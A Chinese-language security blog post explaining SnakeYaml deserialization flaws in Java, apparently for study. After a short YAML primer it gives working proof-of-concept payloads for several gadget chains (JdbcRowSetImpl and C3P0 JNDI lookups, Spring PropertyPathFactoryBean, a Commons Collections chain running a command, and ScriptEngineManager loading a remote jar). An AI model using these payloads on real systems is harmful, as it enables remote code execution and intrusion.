Java安全之SnakeYaml反序列化

2023-09-12 08:49:42 浏览数 (1)

简介

YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。在开发的这种语言时,YAML的意思其实是:”Yet Another Markup Language”(仍是一种标记语言),但为了强调这种语言以数据为中心,而不是以标记语言为重点,而用反向缩略语重命名。

YAML基本格式要求:

  1. YAML大小写敏感;
  2. 使用缩进代表层级关系;
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)

Java 常见用来处理 yaml 的库就是SnakeYaml,实现了对象与 yaml 格式的字符串之间的序列化和反序列化。SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

测试环境

java version “1.8.0_71”

pom.xml

代码语言:javascript复制
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

示例

https://juejin.cn/post/7132724053088927758

随手写一个简单的JavaBean类

代码语言:javascript复制
public class Person {
    public String telNumber;
    protected int age;
    private String name;

    public Person() {
    }

    public Person(String name, int age, String telNumber) {
        this.name = name;
        this.age = age;
        this.telNumber = telNumber;
    }

    public String getName() {
        System.out.println("getName() private");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName() private");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge() protected");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge() protected ");
        this.age = age;
    }

    public String getTelNumber() {
        System.out.println("getTelNumber public ");
        return telNumber;
    }

    public void setTelNumber(String telNumber) {
        System.out.println("setTelNumber public");
        this.telNumber = telNumber;
    }
}

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():将yaml转换成java对象
  • Yaml.dump():将一个对象转化为yaml;
代码语言:javascript复制
import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
    public static void main(String[] args) {
        Person person = new Person("ph0ebus",99,"11451419198");

        Yaml yaml = new Yaml();
        // 序列化
        String dump = yaml.dump(person);
        System.out.println(dump);

        // 反序列化
        Object load = yaml.load(dump);
        System.out.println(load);
    }
}

//运行结果:
//getAge() protected
//getName() private
//!!Person {age: 99, name: ph0ebus, telNumber: '11451419198'}
//setAge() protected 
//setName() private
//Person@1975e01

可以发现当不存在某个属性,或者存在属性但不是由public修饰的时候,序列化会调用其getter方法,反序列化时会调用其setter方法。

序列化的结果前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

利用原理

到这里就会发现和fastjson似乎有异曲同工之妙了,这里会调用setter方法导致安全隐患,于是fastjson的蛮多链子也可以套用起来

利用链

JdbcRowSetImpl利用链

这里和fastjson的触发一致,都是触发setAutoCommit()方法,调用connect函数,然后触发InitialContext.lookup(dataSourceName),而dataSourceName可以通过setDataSourceName可控

代码语言:javascript复制
import org.yaml.snakeyaml.Yaml;

public class JdbcRowSetImplTest {
    public static void main(String[] args) {
        String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "rmi://127.0.0.1:1099/aa", autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}
Spring PropertyPathFactoryBean利用链

这个链子需要springframework依赖

代码语言:javascript复制
import org.yaml.snakeyaml.Yaml;

public class PropertyPathFactoryBeanTest {
    public static void main(String[] args) {
        String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: "rmi://127.0.0.1:1099/aa", propertyPath: "whatever", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: ["rmi://127.0.0.1:1099/aa"]}}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

这里利用setBeanFactory()方法

代码语言:javascript复制
public void setBeanFactory(BeanFactory beanFactory) {
    this.beanFactory = beanFactory;
    if (this.targetBeanWrapper != null && this.targetBeanName != null) {
        throw new IllegalArgumentException("Specify either 'targetObject' or 'targetBeanName', not both");
    } else {
        if (this.targetBeanWrapper == null && this.targetBeanName == null) {
            if (this.propertyPath != null) {
                throw new IllegalArgumentException("Specify 'targetObject' or 'targetBeanName' in combination with 'propertyPath'");
            }

            int dotIndex = this.beanName.indexOf(46);
            if (dotIndex == -1) {
                throw new IllegalArgumentException("Neither 'targetObject' nor 'targetBeanName' specified, and PropertyPathFactoryBean bean name '"   this.beanName   "' does not follow 'beanName.property' syntax");
            }

            this.targetBeanName = this.beanName.substring(0, dotIndex);
            this.propertyPath = this.beanName.substring(dotIndex   1);
        } else if (this.propertyPath == null) {
            throw new IllegalArgumentException("'propertyPath' is required");
        }

        if (this.targetBeanWrapper == null && this.beanFactory.isSingleton(this.targetBeanName)) {
            Object bean = this.beanFactory.getBean(this.targetBeanName);
            this.targetBeanWrapper = PropertyAccessorFactory.forBeanPropertyAccess(bean);
            this.resultType = this.targetBeanWrapper.getPropertyType(this.propertyPath);
        }
    }
}

这里可以调用到任意类的getBean()方法,然后利用org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()触发JNDI注入

代码语言:javascript复制
public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
    try {
        return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
    } catch (NameNotFoundException var4) {
        throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
    } catch (TypeMismatchNamingException var5) {
        throw new BeanNotOfRequiredTypeException(name, var5.getRequiredType(), var5.getActualType());
    } catch (NamingException var6) {
        throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", var6);
    }
}

这里需要调用到getBean()方法,首先要满足isSingleton(this.targetBeanName)返回值为false

代码语言:javascript复制
public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
    return this.shareableResources.contains(name);
}

this.shareableResources是一个HashSet对象,也就是利用setter方法设置this.shareableResources包含this.targetBeanName即可

C3P0利用链

在C3P0利用链中提到了基于fastjson进行JNDI注入和反序列化利用

同理也可以套用在snakeyaml链上

JNDI注入

代码语言:javascript复制
import org.yaml.snakeyaml.Yaml;

public class C3P0JndiTest {
    public static void main(String[] args) {
        String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: "rmi://127.0.0.1:1099/aa",  loginTimeout: "0"}";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

反序列化

代码语言:javascript复制
import org.yaml.snakeyaml.Yaml;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;


public class C3P0UnserTest {
    public static void main(String[] args) throws Exception {
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),};
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        setFieldValue(transformerChain, "iTransformers", transformers);

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        byte[] bytes = barr.toByteArray();
        String hex = bytesToHexString(bytes, bytes.length);
        String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: "HexAsciiSerializedMap:"   hex   ";"}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field1 = obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for (int i = 0; i < length;   i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}
ScriptEngineManager利用链

该漏洞基于SPI机制,关于SPI机制可以参考深入理解 Java 中 SPI 机制

SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。

因此控制这个类的静态代码块就有机会执行任意代码了,这部分代码实现可以参考https://github.com/artsploit/yaml-payload/

那么SPI和SnakeYaml如何联系起来呢,这里需要知道一个类javax.script.ScriptEngineManager,它的底层就利用了SPI机制

https://www.runoob.com/manual/jdk11api/java.scripting/javax/script/ScriptEngineManager.html

ScriptEngineManager(ClassLoader loader) :此构造函数使用服务提供程序机制加载给定ClassLoader可见的ScriptEngineFactory的实现。 如果loader是null ,则加载与平台捆绑在一起的脚本引擎工厂

可以给定一个UrlClassLoader ,并使用SPI机制 (ServiceLoader 来提供) ,来加载远程的ScriptEngineFactory的实现类,那么就可以在远程服务器下,创建META-INF/services/javax.script.ScriptEngineFactory 文件,文件内容指定接口的实现类。

代码语言:javascript复制
import org.yaml.snakeyaml.Yaml;

public class ScriptEngineManagerTest {
    public static void main(String[] args) {
        String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(payload);
    }
}

具体执行细节可以参考https://www.cnblogs.com/nice0e3/p/14514882.html#漏洞分析


参考链接: Java安全之SnakeYaml反序列化分析 | nice_0e3 SnakeYAML反序列化及可利用Gadget | Y4tacker Java安全之yaml反序列化 | jiang

0 人点赞